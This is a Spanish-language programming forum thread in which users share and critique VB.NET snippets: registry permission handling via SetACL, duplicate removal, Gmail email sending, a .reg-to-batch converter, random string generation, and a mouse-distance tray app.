' Examples :
'
' SETACL.Set_Owner("HKCU\Test", True)
' SETACL.Set_Permission("HKCU\Test\", SETACL.SETACL_Permission.full, False)
Public Class SETACL
' <summary>
' Gets or sets the SETACL executable path.
' </summary>
Public Shared SETACL_Location As String = ".\SetACL.exe"
' <summary>
' Gets or sets the SETACL logfile filename.
' </summary>
Public Shared SETACL_Logfile As String = ".\SetACL.log"
Public Enum SETACL_Permission
' <summary>
' Create link
' </summary>
create_link
' <summary>
' Create subkeys
' </summary>
create_subkey
' <summary>
' Delete
' </summary>
delete
' <summary>
' Enumerate subkeys
' </summary>
enum_subkeys
' <summary>
' Notify
' </summary>
notify
' <summary>
' Query value
' </summary>
query_val
' <summary>
' Read control
' </summary>
read_access
' <summary>
' Set value
' </summary>
set_val
' <summary>
' Write permissions
' </summary>
write_dacl
' <summary>
' Take ownership
' </summary>
write_owner
' <summary>
' Read (KEY_ENUMERATE_SUB_KEYS + KEY_EXECUTE + KEY_NOTIFY + KEY_QUERY_VALUE + KEY_READ + READ_CONTROL)
' </summary>
read
' <summary>
' Full access
' (KEY_CREATE_LINK + KEY_CREATE_SUB_KEY +KEY_ENUMERATE_SUB_KEYS + ...
' ...KEY_EXECUTE + KEY_NOTIFY + KEY_QUERY_VALUE + KEY_READ + KEY_SET_VALUE + ...
' ...KEY_WRITE + READ_CONTROL + WRITE_OWNER + WRITE_DAC + DELETE)
' </summary>
full
End Enum
' <summary>
' Checks if SETACL process is avaliable.
' </summary>
Public Shared Function Is_Avaliable() As Boolean
Return IO.File.Exists(SETACL_Location)
End Function
' <summary>
' Takes ownership of a registry key.
' </summary>
Public Shared Sub Set_Owner(ByVal RegKey As String, ByVal Recursive As Boolean, Optional ByVal UserName As String = "%USERNAME%")
If RegKey.EndsWith("\") Then RegKey = RegKey.Substring(0, RegKey.Length - 1)
Dim Recursion As String = "No" : If Recursive Then Recursion = "Yes"
Dim SETACL As New Process(), SETACL_Info As New ProcessStartInfo()
SETACL_Info.FileName = SETACL_Location
SETACL_Info.Arguments = String.Format("-on ""{0}"" -ot reg -ownr ""n:{1}"" -rec ""{2}"" -actn setowner -silent -ignoreerr -log ""{3}""", RegKey, UserName, Recursion, SETACL_Logfile)
SETACL_Info.CreateNoWindow = True
SETACL_Info.UseShellExecute = False
SETACL.StartInfo = SETACL_Info
SETACL.Start()
SETACL.WaitForExit()
If SETACL.ExitCode <> 0 Then
' Throw New Exception("Exit code: " & SETACL.ExitCode)
MsgBox(IO.File.ReadAllText(SETACL_Logfile))
End If
End Sub
' <summary>
' Sets the user permission of a registry key.
' </summary>
Public Shared Sub Set_Permission(ByVal RegKey As String, ByVal Permission As SETACL_Permission, ByVal Recursive As Boolean, Optional ByVal UserName As String = "%USERNAME%")
If RegKey.EndsWith("\") Then RegKey = RegKey.Substring(0, RegKey.Length - 1)
Dim Recursion As String = "No" : If Recursive Then Recursion = "Yes"
Dim SETACL As New Process(), SETACL_Info As New ProcessStartInfo()
SETACL_Info.FileName = SETACL_Location
SETACL_Info.Arguments = String.Format("-on ""{0}"" -ot reg -ace ""n:{1};p:{2}"" -rec ""{3}"" -actn ace -silent -ignoreerr -log ""{4}""", RegKey, UserName, Permission, Recursion, SETACL_Logfile)
SETACL_Info.CreateNoWindow = True
SETACL_Info.UseShellExecute = False
SETACL.StartInfo = SETACL_Info
SETACL.Start()
SETACL.WaitForExit()
If SETACL.ExitCode <> 0 Then
' Throw New Exception("Exit code: " & SETACL.ExitCode)
MsgBox(IO.File.ReadAllText(SETACL_Logfile))
End If
End Sub
End Class
#End Region
http://msdn.microsoft.com/en-us/library/microsoft.win32.registrykey.setaccesscontrol.aspx
Si el ejemplo del MSDN y otros ejemplos ya los habré intentado mil veces Novlucker :P
El código de ejemplo funciona, pero a la hora de intentar poner cualquier ejemplo en práctica con una clave creada por Windows Y CON LOS PERMISOS DENEGADOS... no tira ni a la de tres, al intentar abrir la clave siempre salta error de acceso ...incluso aunque primero se cambie el propietario actual de la clave y se cojan los permisos actuales con "GetAccessRights" ...que ni se pueden coger porque la clave no se puede abrir (opensubkey) por que no tiene permisos de lectura, de verdad que ese ejemplo del MSDN sirve para muy poco xD (segúramente yo esté fallando en algo).
un saludo
Esto lleva 3 días sin recibir Snippets! :o
Mala señal...
Eliminar duplicados de un ListBox
Se necesita un listbox, algunos elementos repetidos entre sí dentro de el y un botón.
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MsgBox(Eliminar(ListBox1) & " elementos duplicados en el List.", MsgBoxStyle.Information)
End Sub
Function Eliminar(ByVal LB As ListBox) As Int32
Dim i As Int32
Dim j As Int32
Dim n As Int32 ' Recorre los items ( compara empezando desde el primero , de abajo hacia arriba)
For i = 0 To LB.Items.Count - 2
For j = LB.Items.Count - 1 To i + 1 Step -1 ' ... si es el mismo
If LB.Items(i).ToString = LB.Items(j).ToString Then
LB.Items.RemoveAt(j) ' elimina el elemento indicando el índice
n += 1 'lleva la cuenta de los duplicados
End If
Next
Next
Return n ' retorna los eliminados
End Function
Resultado:
(http://1.bp.blogspot.com/-lriBong_WbU/UG-41zq87-I/AAAAAAAAEoc/GeW9R4PL1os/s320/listbox.gif)
PD: Este code lo he sacado de aquí: http://www.listeningonlineingles.com/2012/10/eliminar-duplicados-de-un-listbox-en.html
Pero está super ultra mega bug y yo lo he arreglado.
Un saludo.
Cita de: Ikillnukes en 24 Julio 2013, 15:16 PM
Eliminar duplicados de un ListBox
Según como lo estás haciendo por cada item va a hacer casi un TRIPLE ciclo entero del resto de items del listbox, así que si hay 100 items hará como 250 checkeos distintos recorriendo casi todos los items del listbox, no lo he medido del todo pero más del doble si que es,
yo prefiero dejarle la lógica de comparar los items a algún método nativo...
Aquí va mi versión:
#Region " [ListBox] Remove Duplicates "
' [ListBox] Remove Duplicates
'
' // By Elektro H@cker
'
' Examples :
' RemoveDuplicates(ListBox1)
Private Sub RemoveDuplicates(ByVal [Listbox] As ListBox)
Dim ItemArray() As String = [Listbox].Items.Cast(Of String).Distinct().ToArray
[Listbox].Items.Clear()
[Listbox].Items.AddRange(ItemArray)
End Sub
#End RegionSaludos!
Y si quiero saber cuantos están repes? :P
CitarY si quiero saber cuantos están repes? :P
Usa la lógica y saca la diferencia:
Dim DuplicateCount As Int32 = ([Listbox].Items.XXXXX - ItemArray.XXXXX) · Donde "XXXXX" equivale a la propiedad que contiene el número total de items.
Eliminar duplicados de un array de string:
#Region " Remove Array Duplicates "
' Remove Array Duplicates
'
' // By Elektro H@cker
'
' Examples :
' Dim myarray(10) As String
' myarray(0) = "a" : myarray(1) = "b" : myarray(2) = "b" : myarray(3) = "a"
' myarray = RemoveDuplicates(myarray)
Private Function RemoveDuplicates(ByVal Myarray() As String) As String()
Array.Resize(Myarray, Myarray.Cast(Of String).Distinct().ToArray.LongLength - 1)
Return Myarray
End Function
#End Region
Por increíble que parezca el Items.Count ha podido conmigo, ya te he enviado info con todo lo que he hecho y he probado :-\
Para no spamear meto un Snippete de camino:
Enviar Mails (Correos) desde un Form
Imports System.Net.Mail
Public Class Form1
Function SendEmail(ByVal Recipients As List(Of String), _
ByVal FromAddress As String, _
ByVal Subject As String, _
ByVal Body As String, _
ByVal UserName As String, _
ByVal Password As String, _
Optional ByVal Server As String = "smtp.gmail.com", _
Optional ByVal Port As Integer = 587, _
Optional ByVal Attachments As List(Of String) = Nothing) As String
Dim Email As New MailMessage()
Try
Dim SMTPServer As New SmtpClient
For Each Attachment As String In Attachments
Email.Attachments.Add(New Attachment(Attachment))
Next
Email.From = New MailAddress(FromAddress)
For Each Recipient As String In Recipients
Email.To.Add(Recipient)
Next
Email.Subject = Subject
Email.Body = Body
SMTPServer.Host = Server
SMTPServer.Port = Port
SMTPServer.Credentials = New System.Net.NetworkCredential(UserName, Password)
SMTPServer.EnableSsl = True
SMTPServer.Send(Email)
Email.Dispose()
Return "Email to " & Recipients(0) & " from " & FromAddress & " was sent."
Catch ex As SmtpException
Email.Dispose()
Return "Sending Email Failed. Smtp Error."
Catch ex As ArgumentOutOfRangeException
Email.Dispose()
Return "Sending Email Failed. Check Port Number."
Catch Ex As InvalidOperationException
Email.Dispose()
Return "Sending Email Failed. Check Port Number."
End Try
End Function
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim Recipients As New List(Of String)
Recipients.Add("SomeEmailAddress")
Dim FromEmailAddress As String = Recipients(0)
Dim Subject As String = "Test From VB."
Dim Body As String = "email body text, if you are reading this from your gmail account, the program worked."
Dim UserName As String = "GMAIL USERNAME WITHOUT (@GMAIL>COM)"
Dim Password As String = "Password"
Dim Port As Integer = 587
Dim Server As String = "smtp.gmail.com"
Dim Attachments As New List(Of String)
MsgBox(SendEmail(Recipients, FromEmailAddress, Subject, Body, UserName, Password, Server, Port, Attachments))
End Sub
End Class
Ale, ponte a optimizar xD :laugh:
Si hay algo que optimizar, luego pongo alguna especie de conversor de Html Entities y en el Body ("email body text, if you are reading this from your gmail account, the program worked.") se tunea un poco. :P
Un saludo.
Comprobar si un archivo es un archivo de registro válido (version 5.0)
#Region " Is Registry File "
' [ Is Registry File Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(IsRegFile("C:\RegistryFile.reg"))
' IsRegistryFile
Private Function IsRegFile(ByVal RegistryFile As String) As Boolean
Dim Regedit_Signature As String = "windows registry editor version 5.00"
Return IO.File.ReadAllText(RegistryFile).ToLower.Trim.StartsWith(Regedit_Signature)
End Function
#End Region
El núcleo de mi programa REG2BAT, mejorado para soportar caracteres inválidos por Batch (para escaparlos)
#Region " Reg2Bat "
' [ Reg2Bat Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Reg2Bat("C:\Registry.reg"))
Public Enum REG2BAT_Format As Int16
BINARY = 1
DWORD = 2
QWORD = 3
EXPAND_SZ = 4
MULTI_SZ = 5
REG_SZ = 0
End Enum
' Reg2Bat
Private Function Reg2Bat(ByVal Reg_File As String) As String
' Source Input
' Join he lines, delete the Regedit linebreaks characters: "\ ", and then split the lines.
Dim RegFile() As String = Split( _
String.Join("@@@Reg2Bat@@@", IO.File.ReadAllLines(Reg_File)) _
.Replace("\@@@Reg2Bat@@@ ", "") _
.Replace("@@@Reg2Bat@@@", Environment.NewLine), _
Environment.NewLine)
Dim RegLine As String = String.Empty ' Where the Regedit Line will be stored.
Dim RegKey As String = String.Empty ' Where the Regedit Key will be stored.
Dim RegVal As String = String.Empty ' Where the Regedit Value will be stored.
Dim RegData As String = String.Empty ' Where the Regedit Data will be stored.
Dim Batch_Commands As String = String.Empty ' Where the decoded Regedit strings will be stored.
Batch_Commands &= ":: Converted with REG2BAT by Elektro H@cker"
Batch_Commands &= Environment.NewLine & Environment.NewLine
Batch_Commands &= "@Echo OFF"
Batch_Commands &= Environment.NewLine & Environment.NewLine
' Start reading the Regedit File
For X As Int64 = 0 To RegFile.LongLength - 1
RegLine = RegFile(X).Trim
Select Case True
Case RegLine.StartsWith(";") ' Comment line
Batch_Commands &= Environment.NewLine
Batch_Commands &= String.Format("REM {0}", RegLine.Substring(1, RegLine.Length - 1).Trim)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("[-") ' Key to delete
RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
Batch_Commands &= String.Format("REG DELETE ""{0}"" /F", RegKey)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("[") ' Key to add
RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
Batch_Commands &= String.Format("REG ADD ""{0}"" /F", RegKey)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("@=") ' Default Value to add
RegData = Split(RegLine, "@=", , CompareMethod.Text).Last
Batch_Commands &= String.Format("REG ADD ""{0}"" /V """" /D {1} /F", RegKey, RegData)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("""") _
AndAlso RegLine.Split("=").Last = "-" ' Value to delete
RegVal = RegLine.Substring(1, RegLine.Length - 4)
Batch_Commands &= String.Format("REG DELETE ""{0}"" /V ""{1}"" /F", RegKey, RegVal)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("""") ' Value to add
' Check data type:
Select Case RegLine.Split("=")(1).Split(":")(0).ToLower
Case "hex" ' Binary
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.BINARY))
RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.BINARY)
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_BINARY"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "dword" ' DWORD (32 bit)
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.DWORD))
RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.DWORD)
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_DWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "hex(b)" ' QWORD (64 bIT)
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.QWORD))
RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.QWORD)
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_QWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "hex(2)" ' EXPAND SZ
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.EXPAND_SZ))
RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.EXPAND_SZ))
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_EXPAND_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "hex(7)" ' MULTI SZ
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.MULTI_SZ))
RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.MULTI_SZ))
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_MULTI_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case Else ' REG SZ
RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.REG_SZ))
RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.REG_SZ))
Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
End Select
End Select
Next
Return Batch_Commands
End Function
' Get Regedit Value
Private Function Get_Regedit_Value(ByVal Line As String, ByVal REG2BAT_Format As REG2BAT_Format) As String
Dim str As String = Nothing
Select Case REG2BAT_Format
Case REG2BAT_Format.BINARY : str = Split(Line, "=hex:", , CompareMethod.Text).First
Case REG2BAT_Format.DWORD : str = Split(Line, "=dword:", , CompareMethod.Text).First
Case REG2BAT_Format.QWORD : str = Split(Line, "=hex(b):", , CompareMethod.Text).First
Case REG2BAT_Format.EXPAND_SZ : str = Split(Line, "=Hex(2):", , CompareMethod.Text).First
Case REG2BAT_Format.MULTI_SZ : str = Split(Line, "=Hex(7):", , CompareMethod.Text).First
Case REG2BAT_Format.REG_SZ : str = Split(Line, """=""", , CompareMethod.Text).First
Case Else : Return Nothing
End Select
If str.StartsWith("""") Then str = str.Substring(1, str.Length - 1)
If str.EndsWith("""") Then str = str.Substring(0, str.Length - 1)
Return str
End Function
' Get Regedit Data
Private Function Get_Regedit_Data(ByVal Line As String, ByVal REG2BAT_Format As REG2BAT_Format) As String
Dim Data As String = Nothing
Select Case REG2BAT_Format
Case REG2BAT_Format.BINARY
Return Split(Line, (Split(Line, "=hex:", , CompareMethod.Text).First & "=hex:"), , CompareMethod.Text).Last.Replace(",", "")
Case REG2BAT_Format.DWORD
Return "0x" & Split(Line, (Split(Line, "=dword:", , CompareMethod.Text).First & "=dword:"), , CompareMethod.Text).Last.Replace(",", "")
Case REG2BAT_Format.QWORD
Line = StrReverse(Split(Line, (Split(Line, "=hex(b):", , CompareMethod.Text).First & "=hex(b):"), , CompareMethod.Text).Last.Replace(",", ""))
For Each [byte] In Line.Split(",") : Data &= StrReverse([byte]) : Next
Return Data
Case REG2BAT_Format.EXPAND_SZ
Line = Split(Line, (Split(Line, "=Hex(2):", , CompareMethod.Text).First & "=hex(2):"), , CompareMethod.Text).Last.Replace(",00", "").Replace("00,", "")
For Each [byte] In Line.Split(",") : Data &= Chr(Val("&H" & [byte])) : Next
Return Data.Replace("""", "\""")
Case REG2BAT_Format.MULTI_SZ
Line = Split(Line, (Split(Line, "=Hex(7):", , CompareMethod.Text)(0) & "=hex(7):"), , CompareMethod.Text).Last.Replace(",00,00,00", ",\0").Replace(",00", "").Replace("00,", "")
For Each [byte] In Line.Split(",")
If [byte] = "\0" Then
Data &= "\0" ' Line separator for multiline.
Else
Data &= Chr(Val("&H" & [byte]))
End If
Next
Return Data.Replace("""", "\""")
Case REG2BAT_Format.REG_SZ
Data = Split(Line, (Split(Line, """=""", , CompareMethod.Text)(0) & """="""), , CompareMethod.Text).Last
Data = Data.Substring(0, Data.Length - 1)
Return Data
Case Else
Return Nothing
End Select
End Function
' Format Regedit String
Private Function Format_Regedit_String(ByVal str As String) As String
str = str.Replace("%", "%%")
If Not str.Contains("""") Then Return str
str = str.Replace("\""", """")
Dim strArray() As String = str.Split("""")
For num As Long = 1 To strArray.Length - 1 Step 2
strArray(num) = strArray(num).Replace("^", "^^") ' This replace need to be THE FIRST.
strArray(num) = strArray(num).Replace("<", "^<")
strArray(num) = strArray(num).Replace(">", "^>")
strArray(num) = strArray(num).Replace("|", "^|")
strArray(num) = strArray(num).Replace("&", "^&")
' strArray(num) = strArray(num).Replace("\", "\\")
Next
Return String.Join("\""", strArray)
End Function
#End Region
EleKtro H@cker
Espectacular el curro que te has pegado con los snippets ;-)
Seguro que cuando Elektro ha visto que un tal H_MUDA ha comentado, ha pensado, NUEVOS SNIPPETS! jajaja Yo también me he llevado una decepción. '--
Crear String random:
Imports System.Text
Public Class Form1
Function Randomize() 'Fuck the police
Dim s As String = "abcdefghijklmnopqrstuvwyxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 'Aquí se define los caracteres que se van a mostrar
Dim r As New Random 'Se declara la Class Random
Dim sb As New StringBuilder 'Se declarar la Class StingBuilder
For i As Integer = 1 To 8 'Aquí se llama al ciclo For; el 8 representa el numero de caracteres en la cadena
Dim idx As Integer = r.Next(0, 35) 'Esto no se muy bien que hace xD
sb.Append(s.Substring(idx, 1)) 'Y esto lo muestra?
Next
Return sb.ToString 'Esto lo returna para que luego en el MsgBox salga el valor correcto
End Function
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 'Evento de un botón, por poner algún evento
Dim Max As Integer = 10 'Aquí el numero de MsgBox a mostrar
For i As Integer = 0 To Max 'Aquí se llama al ciclo For
MsgBox(Randomize()) 'Aquí se muestran las MsgBox
Next
End Sub
End Class
Con esto voy a poder hacer muchas, pero que muchas troleadas :P
Un saludo.
Extra en PHP, para que Elektro aprenda:
function rand_string($length) {
$str = ""; //Por si no quieres ningún E_NOTICE por culero. :P
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; //Aquí se define los caracteres que se van a mostrar
$size = strlen($chars); //Aquí se devuelve la longitud del string dado
for($i = 0; $i < $length; $i++) { //Un ciclo For de toda la vida
$str .= $chars[rand(0, $size - 1)]; //Aquí se muestra, el equivalente en mi función de VB.NET sería Dim idx As Integer = r.Next(0, 35); pero aquí no se necesita ningún sb.Append(...) :P
}
return $str; //Aquí se returna para luego mostrarla con un Echo
}
echo rand_string(8); //Aquí se muestra con una longitud de 8 caracteres...
//Ejemplo: http://phpfiddle.org/main/code/7rx-rnp
Ejemplo: http://phpfiddle.org/main/code/7rx-rnp ;)
:laugh: :laugh: :laugh: :laugh:
PD: Espero que sepas agradecer la molestia que me he tomado.. :P
Me parece indignante leer comentarios de tus codes como "esto no tengo ni p**a idea de para q sirve", etc...
En el code de VB un fallo muy grave:
r.Next(0, 35) 'Esto no se muy bien que hace xD
Claro, que como de costumbre no te has molestado en buscar que coño significa, pus asi vas.
Significa que el número se va a generar desde el 0 hasta el 35, pero tu cadena de caracteres tiene una longitud de 62 caracteres...con lo cual no es nada aleatorio, ya que sólo escojerá entre los primeros 35 digitos...
En cambio en el code de PHP es correcto porque priméramente se obtiene la longitud de la cadena (variable $size) para usarlo como margen total del número random, cosa que no haces en VB y no sabes ni para que sirve pero en PHP si que lo haces así que debemos suponer que en PHP si que sabes para que sirve cuando ex exáctamente lo mismo?...
rand(0, $size - 1)
...Así que doy por supuesto que usas copy/paste para todos los lenguajes sin enterarte de nada de lo que haces, es algo que se nota a simple vista, y me parece muy mal Ikillnukes, y como he dicho, indignante, para serte aún más sincero no me extraña que algunas personas se enfaden cuando presumes de saber un lenguaje, no eres quien para llamar noobs a los que no saben PHP, porque viendo esto... tu no eres más, intenta ser un poco más humilde.
PD: A cualquiera que se haga llamar programador le molestaría darse cuenta de las cosas que me doy cuenta yo día a día contigo. Sabes o espero que sepas que no te tengo mania, pero yo estas cosas no las tolero.
Aparte de eso, no estás definiendo el tipo de valor que devuelves en la función, pero bueno, eso es una minucia comparado con lo que verdaderamente importa.
En fin, aquí tienes mi versión con dicho error corregido, ale, a copiar se ha dicho... :
Private Function Random_String(ByVal Length As Int32, _
Optional ByVal Characters As String = _
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" _
) As String
Select Case Length
Case Is < 1 ' Is 0 or negative
Throw New Exception("Length must be greater than 0")
Case Else ' Is greater than 0
Dim str As String = String.Empty
Dim rand As New Random, rand_length As Int32 = Characters.Length
Do Until str.Length = Length
str &= Characters.Substring(rand.Next(0, rand_length), 1)
Loop
Return str
End Select
End Function
PD2: Quizás sea beneficioso crear un método parecido pero usando LINQ para procesar más rápido cadenas extremádamente largas.
Citarno eres quien para llamar noobs a los que no saben PHP...
:o :o :o :o :o :o :o :o :o
Tengo que citarlo, porque me parece muy fuerte... Cuando te pase la lista de los lenguajes que había tocado y no había aprendido, estaba VB.NET y PHP, es decir que yo mismo me califico como noob... Lo que más bueno me parece, es que m estás acusando, de a ver llamado noob a alguien que no sepa PHP... Hombre, en ciertas ocasiones puede, pero, porque me vienen preguntando (no en el foro, si no por Skype), cosas y digo, es que no sabes Googlear... Y cosas tales, pero yo en mi vida, he tomado a nadie por Noob en el tema de la programación
en el foro, y si lo ha parecido ha sido p**a coincidencia...
Sobre la String, eran las 12 de la noche y llevaba prisa por irme... Me dí cuenta, pero ni me pare a corregirlo... Puede que haya hecho Copy/paste, pero porque llevaba prisa... Si no, me hubiese parado a comprobar bien lo que hacía eso.. Y es más hasta lo sospechaba, pero como ya digo llevaba prisa tio, que se le va a hacer. :P
Edit: En SO no te digo que no..., pero aquí en el foro, todavía no he tomado a nadie como noob. ;)
Nuevo Snippet, calcular distancia recorrida con el ratón: :)
Public Class Form1
#Region "Variables"
Private Enum eUnidades 'Las unidades de nuestro "odometro" serán metro o kilometros
Metros = 0
Kilometros
End Enum
Private UnidadActual As eUnidades
Private NOMBRE_FICHERO_ODOMETER As String = "MouseOdometerNET.tmp" 'Fichero donde se guardará la distancia recorrida (siempre en milimetros)
Private NOMBRE_FICHERO_ODOMETER_Config As String = "MouseOdometerNET.cfg" 'Fichero donde se guardará si la distancia está en metros o kilometros
Private DistanciaRecorridaMM As Single 'Distancia total recorrida (siempre en milimetros)
Private Structure sPointMM 'Coordenadas del raton en milímetros
Dim X As Single
Dim Y As Single
End Structure
Private gDPIX As Integer = 96 'DPIs de la pantalla
Private gDPIY As Integer = 96
Private WithEvents TMR_guardarDistancia As New Timer 'Timer que periodicamente guarda la distancia en el fichero
Private WithEvents TMR_capturaPosicionMouse As New Timer 'Timer de captura de la posición del raton
Private puntoAnterior As New Point(0, 0) 'Punto capturado anteriormente
#End Region
#Region "Ficheros. Lectura / Escritura"
Private Sub EscribirFichero(ByVal Fichero As String, ByVal Data As String)
Dim objFileWrite = New System.IO.StreamWriter(Fichero, False, System.Text.Encoding.Default)
objFileWrite.Write(Data)
objFileWrite.Flush()
objFileWrite.Close()
End Sub
Private Function LeerFichero(ByVal Fichero As String) As String
Dim objFileRead As New System.IO.StreamReader(Fichero)
Dim sData As String = objFileRead.ReadToEnd
objFileRead.Close()
Return sData
End Function
#End Region
#Region "Eventos a nivel de formulario"
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
TMR_capturaPosicionMouse.Enabled = False
TMR_guardarDistancia.Enabled = False
TMR_capturaPosicionMouse.Dispose()
TMR_guardarDistancia.Dispose()
'Cuando cerramos el programa, se graba la distancia recorrida
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, DistanciaRecorridaMM.ToString)
GC.Collect()
End Sub
'Private Sub Form1_SizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.SizeChanged
' If Me.WindowState = FormWindowState.Minimized Then
' Me.Visible = False
' End If
'End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim g As Graphics = Me.CreateGraphics()
gDPIX = g.DpiX '¿Cual son los DPI de la pantalla?
gDPIY = g.DpiY
Me.WindowState = FormWindowState.Minimized
NotifyIcon1.ShowBalloonTip(20, "Información", "MouseOdemeterNET Ejecutándose", ToolTipIcon.Info)
IniciarParametros() 'Carga los "parámetros"
SetCheckUnidadMenu() 'Activa o desactiva la unidad de medida acutal en el ContextMenu
'Si no existe el fichero con la distancia recorrida, se crea un nuevo
If IO.File.Exists(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER) = False Then
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, "0")
DistanciaRecorridaMM = 0
Else
'En caso contrario, se carga la distancia recorrida
Dim s As String = LeerFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER)
DistanciaRecorridaMM = CType(s, Single)
End If
'Inicializamos el timer de la captura de la posicion del raton
TMR_capturaPosicionMouse.Interval = 250
TMR_capturaPosicionMouse.Enabled = True
'Cada "60 segundos" se irá guardando la distancia recorrida
TMR_guardarDistancia.Interval = 60000
TMR_guardarDistancia.Enabled = True
'Obtenemos el punto acual donde se encuentra el raton
puntoAnterior = Cursor.Position
Me.Width = 0
Me.Height = 0
End Sub
#End Region
#Region "Calculo de la distancia"
'Convierte una posicion de pixel en pantalla a su valor en milimetros
Public Function PIXELtoMM(ByVal ValorPixel As Integer, ByVal ValorDPI As Integer) As Single
Return (ValorPixel / ValorDPI * 25.4)
'Return (Format(((25.4 * ValorPixel) / ValorDPI), "0.0000"))
End Function
' Calcula la distancia entre dos puntos (expresados en pixels)
Private Function DistanciaEntreDosPuntos(ByVal Origen As Point, ByVal Destino As Point) As Single
If (Origen.X = Destino.X) And (Origen.Y = Destino.Y) Then
Return 0
Else
'Paso 1: los puntos pasados como "pixels" se convierten en coordenadas cartesianas en "milimetros"
Dim tmpPointOrigenMM As sPointMM
Dim tmpPointDestinoMM As sPointMM
tmpPointOrigenMM.X = PIXELtoMM(Origen.X, gDPIX)
tmpPointOrigenMM.Y = PIXELtoMM(Origen.Y, gDPIY)
tmpPointDestinoMM.X = PIXELtoMM(Destino.X, gDPIX)
tmpPointDestinoMM.Y = PIXELtoMM(Destino.Y, gDPIY)
'Paso 2: Aplicar la formula de la distancia entre dos puntos para saber la distancia en milimetros
'd=SQR[ (destino.x-origen.x)^2 + (destino.y-origen.y)^2 ]
Dim Xdist As Single = Math.Pow((tmpPointDestinoMM.X - tmpPointOrigenMM.X), 2)
Dim Ydist As Single = Math.Pow((tmpPointDestinoMM.Y - tmpPointOrigenMM.Y), 2)
Return Math.Sqrt(Xdist + Ydist)
End If
End Function
#End Region
#Region "Timers"
'Timer que va guardando la distancia en un fichero
Private Sub TMR_guardarDistancia_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles TMR_guardarDistancia.Tick
EscribirFichero(CarpetaTempWindows() & NOMBRE_FICHERO_ODOMETER, DistanciaRecorridaMM.ToString)
End Sub
'Timer que va capturando la posición del raton
Private Sub TMR_capturaPosicionMouse_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles TMR_capturaPosicionMouse.Tick
'Oculta el "formulario". Esto se hace solo la primera vez que se entra en este timer
Static bHecho As Boolean
If bHecho = False Then
bHecho = True
Me.Visible = False
End If
Dim MousePosition As Point
MousePosition = Cursor.Position
'Actualiza la variable con la distancia recorrida
DistanciaRecorridaMM += DistanciaEntreDosPuntos(puntoAnterior, MousePosition)
puntoAnterior.X = MousePosition.X
puntoAnterior.Y = MousePosition.Y
'Muesta la distancia en el ContextMenu
Select Case UnidadActual
Case eUnidades.Metros
DistanciaToolStripMenuItem.Text = DistanciaRecorridaMM / 1000 & " m"
Case eUnidades.Kilometros
DistanciaToolStripMenuItem.Text = DistanciaRecorridaMM / 1000000 & " km"
End Select
'y en el "caption" del NotifyIcon
NotifyIcon1.Text = "MouseOdometerNET (" & DistanciaToolStripMenuItem.Text & ")"
End Sub
#End Region
#Region "ContextMenu"
'¿Cerrar la aplicación?
Private Sub CerrarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CerrarToolStripMenuItem.Click
